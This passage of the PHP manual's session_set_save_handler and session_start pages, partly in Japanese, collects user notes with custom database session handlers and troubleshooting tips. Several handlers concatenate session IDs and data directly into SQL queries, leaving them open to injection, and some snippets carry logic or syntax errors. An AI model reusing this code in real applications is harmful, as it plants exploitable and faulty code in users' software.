        $query = "SELECT \"DATA\" FROM PHP_SESSIONS WHERE SESSION_ID=Q'{" . $session_id . "}'";
        $stid = oci_parse($this->con, $query);
        oci_execute($stid, OCI_DEFAULT);
        $row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_LOBS);
        oci_free_statement($stid);
        return $row['DATA'];
    }
    public function write($session_id,$session_data){
        $dquery="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $dstid = oci_parse($this->con,$dquery);
        oci_execute($dstid, OCI_NO_AUTO_COMMIT);
        oci_free_statement($dstid);
        $query="INSERT INTO PHP_SESSIONS(SESSION_ID,TOUCHED,\"DATA\") VALUES(Q'{".$session_id."}',".time().",EMPTY_CLOB()) RETURNING \"DATA\" INTO :clob";
        $stid = oci_parse($this->con,$query);
        $clob=oci_new_descriptor($this->con,OCI_D_LOB);
        oci_bind_by_name($stid, ':clob', $clob, -1, OCI_B_CLOB);
        if(!oci_execute($stid, OCI_NO_AUTO_COMMIT)){
            @oci_free_statement($stid);
            return false;
        }
        if($clob->save($session_data)){
            oci_commit($this->con);
            $return=true;
        } else {
            oci_rollback($this->con);
            $return=false;
        }
        $clob->free();
        oci_free_statement($stid);
        return $return;
    }
    public function destroy($session_id){
        $query="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
    public function gc($maxlifetime){
        $query="DELETE FROM PHP_SESSIONS WHERE TOUCHED<".(time()-$maxlifetime);
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
}
session_set_save_handler(new session_handler(), true);
session_start();
carlos dot vini at gmail dot com 05-Jan-2016 01:25
If you have a custom handler registered ini_get('session.save_handler') will return 'user' instead of 'file'
andreipa at gmail dot com 29-Oct-2015 03:05
After spend so many time to understand how PHP session works with database and unsuccessful attempts to get it right, I decided to rewrite the version from our friend stalker.

//Database
CREATE TABLE `Session` (
  `Session_Id` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
  `Session_Expires` datetime NOT NULL,
  `Session_Data` text COLLATE utf8_unicode_ci,
  PRIMARY KEY (`Session_Id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
SELECT * FROM mydatabase.Session;

<?php
//inc.session.php

class SysSession implements SessionHandlerInterface
{
    private $link;

    public function open($savePath, $sessionName)
    {
        $link = mysqli_connect("server","user","pwd","mydatabase");
        if($link){
            $this->link = $link;
            return true;
        }else{
            return false;
        }
    }
    public function close()
    {
        mysqli_close($this->link);
        return true;
    }
    public function read($id)
    {
        $result = mysqli_query($this->link,"SELECT Session_Data FROM Session WHERE Session_Id = '".$id."' AND Session_Expires > '".date('Y-m-d H:i:s')."'");
        if($row = mysqli_fetch_assoc($result)){
            return $row['Session_Data'];
        }else{
            return "";
        }
    }
    public function write($id, $data)
    {
        $DateTime = date('Y-m-d H:i:s');
        $NewDateTime = date('Y-m-d H:i:s',strtotime($DateTime.' + 1 hour'));
        $result = mysqli_query($this->link,"REPLACE INTO Session SET Session_Id = '".$id."', Session_Expires = '".$NewDateTime."', Session_Data = '".$data."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function destroy($id)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE Session_Id ='".$id."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function gc($maxlifetime)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE ((UNIX_TIMESTAMP(Session_Expires) + ".$maxlifetime.") < ".$maxlifetime.")");
        if($result){
            return true;
        }else{
            return false;
        }
    }
}
$handler = new SysSession();
session_set_save_handler($handler, true);
?>

<?php
//page 1
require_once('inc.session.php');

session_start();

$_SESSION['var1'] = "My Portuguese text: SOU Gaucho!";
?>

<?php
//page 2
require_once('inc.session.php');

session_start();

if(isset($_SESSION['var1']){
echo $_SESSION['var1'];
}
//OUTPUT: My Portuguese text: SOU Gaucho!
?>
dimzon541 at gmail dot com 06-Sep-2015 11:23
Persisting PHP sessions into mongodb (allows NLB without affinity)
https://gist.github.com/dimzon/62eeb9b8561bcb9f0c6d
Steven George 17-Feb-2014 02:05
Note that as well as destructing objects before calling write() and close(), it seems PHP also destroys classes.  That is, you can't even call a static method of an external class in the write() and close() handlers - PHP will issue a Fatal error stating "Class xxxx not found"
cmanley 21-Aug-2013 03:20
Below is a session id value validator I just wrote. It is especially important to validate session id cookie values when using a custom file based validator, otherwise hackers could potentially trick it into overwriting non-session files.

/**
* Validates the value (the session id) of a session cookie.
* Useful for detecting potential hack attempts.
* It is up to the caller to delete the cookie if necessary.
* See also: http://lxr.php.net/xref/PHP_TRUNK/ext/session/session.c#php_session_valid_key
*
* @param string $value
* @param boolean $debug
* @return boolean
*/
function session_validate($cookie_value, $debug = false) {
    // session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits). Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.
    // session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").
    if (!(isset($cookie_value) && is_string($cookie_value) && strlen($cookie_value))) {
        return false;
    }
    $bits = null;
    if (1) {
        $hash_function = ini_get('session.hash_function');
        $hash_function_to_bits = array(
            0    => 128,
            1    => 160,
        );
        $bits = @$hash_function_to_bits[$hash_function];
    }
    $bits_per_char = ini_get('session.hash_bits_per_character');
    $bits_per_char_to_charclass = array(
        4    => '0-9a-f',
        5    => '0-9a-v',
        6    => '0-9a-zA-Z\-,',    // this is also the default
    );
    $charclass = array_key_exists($bits_per_char, $bits_per_char_to_charclass) ? $bits_per_char_to_charclass[$bits_per_char] : $bits_per_char_to_charclass[6];
    $charlength = $bits ? (integer)ceil($bits / $bits_per_char) : '1,128'; // the last value is a somewhat arbitrary default
    $re = '/^[' . $charclass . ']{' . $charlength . '}$/';
    $result = preg_match($re, $cookie_value);
    $debug && error_log(__FUNCTION__ . ' regexp: ' . $re . "\tresult: " .intval($result));
    return $result;
}
jamesbenson944 at hotmail dot com 04-Jul-2013 09:29
I'm not using objects for the save handlers I'm using functions but still get weird behaviour with session writing not being called.

This fixes the problem though:
register_shutdown_function('session_write_close');
Rusty X 06-Mar-2012 09:39
It is important to understand that PHP's default file-based session handling LOCKS the session file, inherently allowing ONLY ONE thread handling any given session at a time.
When you implement a DB-backed session storage and you do not do any locking, you may run into situations where more than one thread is serving the same session, and you may LOSE DATA because the second thread will overwrite any session changes done by the first thread.
You should therefore think about locking the session somehow if you want to have the exact same behavior as with the default file-based implementation. For example, with InnoDB you could do a SELECT ... FOR UPDATE, or you can use the GET_LOCK() function.
pavelc at users dot sourceforge dot net 11-Jul-2011 04:21
I write a class that unites whole handler functionality. It's not even needed to save instances of this class in variables. Just add a row:
<?php
new SessionSaveHandler();
?>
and the handler will rule the sessions ;-)
<?php

class SessionSaveHandler {
    protected $savePath;
    protected $sessionName;

    public function __construct() {
        session_set_save_handler(
            array($this, "open"),
            array($this, "close"),
            array($this, "read"),
            array($this, "write"),
            array($this, "destroy"),
            array($this, "gc")
        );
    }

    public function open($savePath, $sessionName) {
        $this->savePath = $savePath;
        $this->sessionName = $sessionName;
        return true;
    }

    public function close() {
        // your code if any
        return true;
    }

    public function read($id) {
        // your code
    }

    public function write($id, $data) {
        // your code
    }

    public function destroy($id) {
        // your code
    }

    public function gc($maxlifetime) {
        // your code
    }
}

new SessionSaveHandler();

?>
frank at interactinet dot com 22-Mar-2011 01:37
I had trouble with committing session data.
To "commit and continue" without closing your session, put this at the top of your "write" method:

<?php

$id = session_id();
session_write_close();
session_id($id);
session_start();

?>

Note that ANY time php generates a new session id, it is not automatically updated in a database. This can be helpful:

<?php

public function resetSessionId()
{
    $old = session_id();
    session_regenerate_id();
    $new = session_id();
    SessionHandler::regenerate_id($old,$new);
}

public function regenerate_id($old,$new)
{
    $db = mysqli->connect(...);

    $db->query('UPDATE sessions SET session_id = \''.$db->escape_string($new).'\'
    WHERE session_id = \''.$db->escape_string($old).'\'');
}
?>
dummynick at gmail dot com 24-May-2010 08:37
I was getting Fatal error: Exception thrown without a stack frame and it took days to figure out the reason. I am using memcache to store sessions and in my custom class I use Memcache class in write method.

I put the code in the write method inside try-catch block and it solved my problem.
bart2yk at yahoo dot com 22-Jan-2010 01:57
You can call the session_write in db object destructor to be shore that you still have a connection to mysql and the session is write.
joel the usual at sign then purerave.com 04-Dec-2009 10:53
When storing sessions in a DB, it's usually beneficial to use an existing custom DB object, but this creates problems with the latest version of PHP 5.3.1. This used to work fine on PHP 5.2.x (Linux and Windows).

The problem now is that session_write_close() is not automatically called when execution ends, but rather after all the objects have been destructed, including the DB object!

There are two ways around this, either manually calling session_write_close() at the end of your script(s), or not using the DB object.

I'm sure this is the intended behavior from the beginning.
skds1433 at hotmail dot com 02-Aug-2009 03:21
I pulled a really stupid move. If you are trying to debug your garbage collector, make sure you call the following >>> BEFORE <<< "session_start":

<?php
ini_set('session.gc_probability', 100);
ini_set('session.gc_divisor', 100);
?>

I was sure it was a bug in PHP, but turned out (like 99% of the time) to be me own fault.
yangqingrong at gmail dot com 21-Apr-2009 09:44
session_set_save_handler is used before session_start.if your session is setted as auto start. it will return FALSE value.so you need add session_write_close() before session_set_save_handler to cancel the session's auto start.it  likes this:

<?php
/*
qq:290359552
*/
session_write_close(); //cancel the session's auto start,important

function open()
{
   ...
}
....
session_set_save_handler( ... );
session_start();
?>
harald at hholzer at 13-Mar-2009 10:40
after spending 8 hours to find out whats going on..

just for the records, because php.net ignore the real world out there:

debian 5 installs by default the php-suhosin module, which changes the behavior of session_set_save_handler read/write function.

on calling the session write function the session data will be encrypted, and the returning string from the read function are decrypted and verified.

the encrypted data is no more compatible with session_encode/session_decode.

and breaks by default, subdomain handling and multiple host setups where different document roots are used.

for futher information look at:
http://www.hardened-php.net/suhosin/configuration.html

session sample data (debian 4):
test|s:3:"sdf";

session sample data (debian 5, with php-suhosin):
3GdlPEGr2kYgRFDs-pUSoKomZ4fN7r5BM5oKOCMsWNc...

i thing the suhosin patch should report a warning in case of invalid session data, to get a clue whats going wrong.
e dot sand at elisand dot com 04-Mar-2009 11:42
The "binary" data that is in the session data appears to surround class/object names, and if you pass your session data through a function to sanitize it for SQL injection, you may indeed run in to problems.

For example, using the PDO::quote() function to prepare the data for injection (in my case for SQLite3), it was stopping short as soon as it encountered the first bit of binary data, causing my session information to be corrupted.

This change *must* have happened somewhere in the 5.2 series, because I just started encountering this problem recently on a code base that had been tested & working on earlier versions of PHP 5.2.

This may in fact be a bug - I have not yet checked... but beware, and perhaps using base64 to encode/decode your session data is a good thing to do just to be sure (though you are now left unable to visually inspect serialized session information at the storage level which is a rather big problem for on-the-fly debugging of sessions).
anonymous at anonymous dot org 06-Oct-2008 12:11
if you simply append the information from session variables every time you'll have many multiples for variables each time they are changed. a simple way to do this is explode the data twice to seperate the variable name from the other relevant information and foreach() check against the stored set. here is a little bit of a mess i wrote to do it.
assuming stored session variables in both database and passed through function:

<?php
$buffer = array();
$buffer = explode('|',$sessiondata);
$buf1 = array();
$buf2 = array();
$finalbuff = '';
foreach($buffer as $i){
    $i = explode(';',$i);
    foreach($i as $b){
        array_push($buf1,$b);
    }
}
$buffer = explode('|',$result['data']);
foreach($buffer as $i){ $i = explode(';',$i); foreach($i as $b){ array_push($buf2,$b);}}
$z = 0;
$x = 0;
while($buf2[$z]){
    while($buf1[$x]){
        if($buf2[$z] == $buf1[$x]){
            $buf2[($z+1)] = $buf1[($x+1)];
        }
        $x+=2;
    }
    $z+=2;
}
foreach($buf2 as $i){ $finalbuff .= $i; }
?>

$sessiondata is the variable passed through the function and $result['data'] is the data stored in an sql database.
tomas at slax dot org 08-Jul-2008 07:00
Regarding the SAPIs: The warning mentioned in function's description (that the Current working directory is changed with some SAPIs) is very important.

It means that if your callback 'write' function needs to write to a file in current directory, it will not find it. You have to use absolute path and not rely upon the current working directory.

I thought this warning applies only to some strange environments like Windows, but it happens exactly on Linux + Apache 2.2 + PHP 5.
james dot ellis at gmail dot com 04-Apr-2008 03:39
When writing your own session handler, particularly database session handlers, play close attention to garbage cleanup and how it could affect server load.

To pick a round number example:

If you have 1000 requests per minute on session enabled pages, everyone needs a session started but the session garbage cleanup does not need to run every request. Doing so would cause unrequired queries on the database server.

In this example, setting your probability/divisor to 1/1000 would be sufficient to clean up old sessions at a minimum once a minute. If you don't need that kind of granularity, increase the gc divisor.

Finding the tradeoff between clearing up old sessions and server load is the important aspect here.
mixailo at mercenaries dot ru 11-Oct-2007 04:55
It is useful to use MEMORY storage engine in MySQL while handling sessions.
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html
james at dunmore dot me dot uk 11-Oct-2007 08:52
I think it is very important here to stress that the WRITE method should use UPDATE+INSERT (or mysql specific REPLACE).

There is example code "out there" that uses just UPDATE for the write method, in which case, when session_regenerate_id is called, session data is lost (as an update would fail, as the key has changed).

I've just wasted a whole day due to this (I know I should have thought it through / RTFM, but it is an easy trap to fall into).
Colin 08-Mar-2007 12:10
When using a custom session handler, if the first callback function (sessOpen in my case) finds no session id, one is set by the time the second argument (sessRead in my case) is called.
matt at openflows dot org 19-Sep-2006 05:02
Note that for security reasons the Debian and Ubuntu distributions of php do not call _gc to remove old sessions, but instead run /etc/cron.d/php*, which check the value of session.gc_maxlifetime in php.ini and delete the session files in /var/lib/php*.  This is all fine, but it means if you write your own session handlers you'll need to explicitly call your _gc function yourself.  A good place to do this is in your _close function, like this:

<?php
function _close() {
    _gc(get_cfg_var("session.gc_maxlifetime"));
   // rest of function goes here
}
?>
information at saunderswebsolutions dot com 16-Aug-2006 11:56
Note that if session.auto_start is set to On in the php.ini, your session_set_save_handler will return false as the session has already been initialized.

If you are finding that your code works OK on one machine but doesn't work on another, check to see if session.auto_start is set to On
sneakyimp AT hotmail DOT com 04-Aug-2006 09:20
the behavior, return values, and exact time of calling for these functions is pretty poorly documented here.  i thought folks might like to know that:

1) calling session_start() triggers PHP to first call your open function and then call your read function before resuming with the code immediately following your session_start() call.

2) calling session_id('some_value') within your open function WILL NOT SET THE SESSION COOKIE (at least not on my setup - PHP 4.4.1).  Assuming you defined some function to validate a session id called my_func(), you might want to do something like this in your open function:

<?php
  function _open($save_path, $session_name) {
    // check for session id
    $sess_id = session_id();
    if (empty($sess_id) || !myfunc($sess_id)) {
      //session_id is INVALID - generating new
      $new_id = md5(uniqid("some random seed here"));
      session_id($new_id);
      setcookie(session_name(),
                    $new_id,
                    0,
                    "/",
                    ".mydomain.com");
      }

    return true;
  } // _open()
?>
mjohnson at pitsco dot com 28-Mar-2006 11:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
    // Look up data
    $results = getStuff($id);

    // Make sure it's a string
    settype($results, 'string');
    return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
stalker at ruun dot de 03-Jan-2006 07:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
    // session-lifetime
    var $lifeTime;
    // mysql-handle
    var $dbHandle;
    function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
    }
    function close() {
        $this->gc(ini_get('session.gc_maxlifetime'));
        // close database-connection
        return @mysql_close($this->dbHandle);
    }
    function read($sessID) {
        // fetch session-data
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                            WHERE session_id = '$sessID'
                            AND session_expires > ".time(),$this->dbHandle);
        // return data or an empty string at failure
        if($row = mysql_fetch_assoc($res))
            return $row['d'];
        return "";
    }
    function write($sessID,$sessData) {
        // new session-expire-time
        $newExp = time() + $this->lifeTime;
        // is a session with this id in the database?
        $res = mysql_query("SELECT * FROM ws_sessions
                            WHERE session_id = '$sessID'",$this->dbHandle);
        // if yes,
        if(mysql_num_rows($res)) {
            // ...update session-data
            mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
            // if something happened, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // if no session-data was found,
        else {
            // create a new row
            mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
            // if row was created, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // an unknown error occured
        return false;
    }
    function destroy($sessID) {
        // delete session-data
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
        // if session was deleted, return true,
        if(mysql_affected_rows($this->dbHandle))
            return true;
        // ...else return false
        return false;
    }
    function gc($sessMaxLifeTime) {
        // delete old sessions
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows
        return mysql_affected_rows($this->dbHandle);
    }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
korvus at kgstudios dot net 11-Jun-2005 05:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
oliver at teqneers dot de 03-Feb-2005 03:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start         .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)         add session data
.                        write sesion data
.                        script "B" stop
write session data       .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu 19-Sep-2004 03:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
coco at digitalco2 dot com 23-Nov-2003 03:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
ivo at magstudio dot net 25-Nov-2002 07:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
spam at skurrilo dot de 08-May-2002 04:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.


新しいセッションを開始、あるいは既存のセッションを再開する

  • ≪ session_set_save_handler
  • session_status ≫
  • PHP Manual
  • セッション関数
  • 新しいセッションを開始、あるいは既存のセッションを再開する

session_start

(PHP 4, PHP 5, PHP 7, PHP 8)

session_start — 新しいセッションを開始、あるいは既存のセッションを再開する

説明

session_start ( array $options = [] ) : bool

session_start() は、セッションを作成します。 もしくは、リクエスト上で GET, POST またはクッキーにより渡されたセッション ID に基づき現在のセッションを復帰します。

session_start() がコールされたりセッションが自動的に開始したりするときに、 PHP はセッションの open ハンドラおよび read ハンドラをコールします。 このハンドラとしては、デフォルトで組み込まれている保存ハンドラの他に PHP 拡張モジュールで提供されているもの (SQLite や Memcached など) も使えます。また、自作のハンドラを session_set_save_handler() で定義することもできます。 read コールバックは既存のセッションデータ (独自のシリアライズフォーマットで保存されているもの) を読み込み、 それを復元して自動的にスーパーグローバル $_SESSION に格納します。

名前付きのセッションを使用したい場合、 session_start() の前に session_name() をコールする必要があります。

session_start() は、 session.use_trans_sid が有効の場合に URL 書換え用の内部出力ハンドラを登録します。

ユーザーが ob_start() と共に ob_gzhandler または類似のものを使用している場合、 出力ハンドラの順番は正しく出力を行うために重要です。例えば、 セッション開始時にユーザーは ob_gzhandler を登録する必要があります。

パラメータ

options

オプションの連想配列を指定することができます。これは、現在設定されている セッションの設定ディレクティブ を上書きします。 連想配列のキーにはプレフィックス session. を含めてはいけません。

通常の設定ディレクティブ群に加えて、 read_and_close オプションを指定することもできます。 これを true にすると、セッションを読み込んだらその場ですぐにクローズします。 セッションのデータを書き換えるつもりがない場合は、こうしておけば、意図せぬロックを防げます。

返り値

この関数は、セッションが正常に開始した場合に true、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | セッションを開始できなかった場合、 session_start() は、false を返し、 $_SESSION を初期化しないようになりました。

例

基本的なセッションの例

例1 page1.php

<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal']   = 'cat';
$_SESSION['time']     = time();

// セッションクッキーが有効なら動作します
echo '<br /><a href="page2.php">page 2</a>';

// あるいは必要に応じてセッション ID を渡します
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

page1.php を表示した後なら、 page2.php はセッション上の情報を含んでいるはずです。 セッションについてのリファレンス を読むと、 セッションIDの伝達 に関する情報が得られます。 例えば、SID とは何かといったことです。

例2 page2.php

<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal'];   // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// page1.php と同様に、ここで SID を使うこともできます
echo '<br /><a href="page1.php">page 1</a>';
?>

session_start() のオプションの指定

例3 クッキーの有効期限の上書き

<?php
// これは、有効期限が1日の永続クッキーを送信します
session_start([
    'cookie_lifetime' => 86400,
]);
?>

例4 セッションの読み込みとクローズ

<?php
// セッション内で何も変更する必要がないことがわかっている場合は、
// セッションを読み込んですぐにクローズしてしまえば、
// セッションファイルをロックして他のページをブロックしてしまうことを防げます
session_start([
    'cookie_lifetime' => 86400,
    'read_and_close'  => true,
]);

注意

注意:

クッキーに基づくセッションを使用している場合、ブラウザに何か出力を行う前に session_start() をコールする必要があります。

注意:

ob_gzhandler() よりも zlib.output_compression の使用が推奨されています。

注意:

この関数は、設定によって複数の HTTP ヘッダを送信します。 これらのヘッダをカスタマイズするには session_cache_limiter() を参照ください。

参考

  • $_SESSION
  • 設定ディレクティブ session.auto_start
  • session_id() - 現在のセッション ID を取得または設定する

User Contributed Notes

Anonymous 04-Nov-2020 02:44
Be careful with the 'read_and_close' option. It doesn't update the session file's last modification time unlike the default PHP behaviour when you don't close the session (or when you use session_write_close explicitly).
Old session files (for me, older than 24 minutes) will be occasionally cleared by the garbage collector (for me every 09 and 39 minute of every hour).
So a session can disappear even if the page regularly sends requests to the server that only reads and closes the session.
hu60 dot cn at gmail dot com 09-Jun-2019 12:43
The following code shows how the PHP session works. The function my_session_start() does almost the same thing as session_start().

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Nathan 21-Feb-2019 03:30
Btw you can use:

if (!isset($_SESSION)) {
// We love every user
session_start();
// Then refresh for changes to take affect
header("location: ../../");
} elseif ($_SESSION["user] == "123ABC - abcmouse.com") {
/* We don't like this user, so let's kick them out of
 the session */
session_destroy();
// Then refresh for changes to take affect
header("location: ../../");
}
marco dot agnoli at me dot com 10-Aug-2017 07:50
I recently made an interesting observation:

It seems that `session_start()` can return `true` even if the session was not properly created. In my case, the disk storage was full and so the session data could not be written to disk. I had some logic that resulted in an infinite loop when the session was not written to disk.

To check if the session really was saved to disk I used:

```
<?php

function safe_session_start() {
    # Attempt to start a session
    if (!@\session_start()) return false;

    #
    # Check if we need to perform
    # the write test.
    #
    if (!isset($_SESSION['__validated'])) {
        $_SESSION['__validated'] = 1;

        # Attempt to write session to disk
        @\session_write_close();

        # Unset the variable from memory.
        # This step may be unnecessary
        unset($_SESSION['__validated']);

        # Re-start session
        @\session_start();

        # Check if variable value is retained
        if (!isset($_SESSION['__validated'])) {
            # Session was not written to disk
            return false;
        }
    }

    return true;
}

if (!safe_session_start()) {
    # Sessions are probably not written to disk...
    # Handle error accordingly.
}

?>
```

Took me quite a while to figure this out.

Maybe it helps someone!
axew3 at axew3 dot com 04-Jul-2017 12:23
X Maintainers ... Sorry to be such pain the ass, please delete this duplicate, because submitted in a crazy 'session' where i've mess things between browser tabs ... sorry again, alessio
http://php.net/manual/en/function.session-start.php#121310
axew3 at axew3 dot com 04-Jul-2017 10:30
I just need with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0:

session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
axew3 at axew3 dot com 04-Jul-2017 10:19
I need, with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0 ...
session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
tom at bitworks dot de 11-Jun-2017 02:15
A simple session_start() will not be sufficiant to kepp you Session alive.
Due to the filesystems mounting parameters, atime will normally not be updated. Instead of atime, mtime will be delivered.

This behavior may cause an early session death and your users my be kicked of your login system.

To keep the session alive it will be necessary to write something into the sessionfile at each request, e. g. a simple

 "$_SESSION['time'] = time();"

That would keep your session alive, even if the client in reality is only clicking around the site.
ivijan dot stefan at gmail dot com 26-Feb-2017 07:59
How to fix session_start error?

Sometimes when you made plugins, addons or some components in projects you need to check if session is started and if is not, you need to start it with no session_start() errors.

Here is my tested solution what currently work on +9000 domains and in one my plugin but also in some custom works.

<?php
if (strnatcmp(phpversion(),'5.4.0') >= 0)
{
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
}
else
{
    if(session_id() == '') {
        session_start();
    }
}
?>

Feel free to use it and don't worry, be happy. ;)
bachtel at [googles email service]dotcom 03-Feb-2017 07:54
